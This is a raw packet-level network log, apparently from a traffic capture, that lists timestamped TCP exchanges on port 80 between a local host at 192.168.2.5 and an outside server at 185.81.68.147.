Dec 26, 2024 12:05:13.135324001 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.135333061 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.135364056 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.136264086 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.136312962 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.136468887 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.136512041 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.137284994 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.137325048 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.137403011 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.137443066 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.138298988 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.138340950 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.138422966 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.138463974 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.139350891 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.139396906 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.139431953 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.139473915 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.140368938 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.140414000 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.140458107 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.140494108 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.141382933 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.141429901 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.141516924 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.141969919 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.142429113 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.142468929 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.142599106 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.142640114 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.143439054 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.143485069 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.143554926 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.143590927 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.144442081 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.144481897 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.144603968 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.144644022 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.145513058 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.145554066 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.145641088 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.145677090 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.146543026 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.146585941 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.146636963 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.146678925 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.147522926 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.147572041 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.155129910 CET	80	49712	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.213490963 CET	49713	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.304291964 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.304452896 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.304456949 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.304500103 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.304750919 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.304794073 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.304809093 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.304852009 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.305809021 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.305850983 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.305866957 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.305910110 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.306786060 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.306832075 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.306863070 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.306906939 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.307866096 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.307926893 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.308054924 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.308099985 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.308811903 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.308861017 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.308922052 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.308967113 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.309876919 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.309956074 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.310049057 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.310091972 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.310904980 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.310950041 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.310959101 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.310997963 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.311889887 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.311939001 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.311979055 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.312021017 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.312907934 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.312966108 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.313044071 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.313087940 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.313916922 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.313978910 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.314014912 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.314055920 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.314951897 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.315005064 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.315083027 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.315124989 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.316009998 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.316029072 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.316056013 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.316085100 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.317455053 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.317518950 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.317553043 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.317594051 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.318151951 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.318195105 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.318209887 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.318242073 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.319078922 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.319119930 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.319156885 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.319199085 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.320164919 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.320219040 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.320230961 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.320322037 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.321103096 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.321146965 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.321193933 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.321234941 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.322166920 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.322206974 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.322226048 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.322263956 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.323227882 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.323275089 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.323318005 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.323360920 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.324192047 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.324235916 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.324316978 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.324356079 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.325233936 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.325274944 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.325500965 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.325537920 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.326236010 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.326280117 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.326322079 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.326364040 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.327260017 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.327306032 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.327390909 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.327462912 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.328291893 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.328336000 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.328371048 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.328411102 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.329312086 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.329381943 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.329428911 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.329451084 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.330365896 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.330431938 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.330447912 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.330497980 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.331851959 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.331933975 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.331973076 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.332014084 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.332835913 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.332884073 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.332952023 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.332993984 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.333365917 CET	80	49713	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.333436012 CET	49713	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.333585024 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.333626986 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.333653927 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.333684921 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.334466934 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.334508896 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.334554911 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.334604979 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.335478067 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.335526943 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.335599899 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.335648060 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.336030960 CET	49713	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.336474895 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.336528063 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.336566925 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.336611032 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.337512016 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.337557077 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.337608099 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.337650061 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.338634968 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.338680029 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.338850975 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.338926077 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.339603901 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.339646101 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.339715004 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.339757919 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.340678930 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.340723038 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.340861082 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.340903044 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.341665030 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.341722012 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.341813087 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.341856956 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.342714071 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.342763901 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.342844963 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.342888117 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.343652964 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.343725920 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.343761921 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.343815088 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.345024109 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.345071077 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.345191956 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.345237017 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.345999956 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.346045017 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.346077919 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.346121073 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.346826077 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.346915960 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.346920013 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.346982002 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.347779036 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.347822905 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.347966909 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.348009109 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.348793030 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.348834991 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.348905087 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.348948002 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.349812031 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.349857092 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.349941969 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.349983931 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.350851059 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.350893974 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.350960970 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.351002932 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.351994038 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.352061987 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.352174044 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.352248907 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.353256941 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.353302956 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.353354931 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.353415012 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.354486942 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.354530096 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.354609966 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.354650021 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.355541945 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.355591059 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.355633974 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.355675936 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.356350899 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.356394053 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.356435061 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.356477022 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.357296944 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.357357979 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.357391119 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.357436895 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.358167887 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.358211994 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.455482960 CET	80	49713	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.514905930 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.514931917 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.514998913 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.515036106 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.515055895 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.515085936 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.515145063 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.515178919 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.516124010 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.516163111 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.516242981 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.516282082 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.517124891 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.517158985 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.517191887 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.517227888 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.517853975 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.517896891 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.518120050 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.518153906 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.518873930 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.518913031 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.518985987 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.519025087 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.519911051 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.519951105 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.520028114 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.520066023 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.520921946 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.520970106 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.521095991 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.521133900 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.521971941 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.522017002 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.522044897 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.522135973 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.522958994 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.523004055 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.523037910 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.523072004 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.523941040 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.524039984 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.524079084 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.524120092 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.524986029 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.525027037 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.525093079 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.525165081 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.526031017 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.526077986 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.526240110 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.526283026 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.527115107 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.527157068 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.527194977 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.527236938 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.528107882 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.528171062 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.528173923 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.528208971 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.529155016 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.529195070 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.529205084 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.529246092 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.530113935 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.530155897 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.530236006 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.530273914 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.531260014 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.531331062 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.531416893 CET	80	49708	185.81.68.147	192.168.2.5
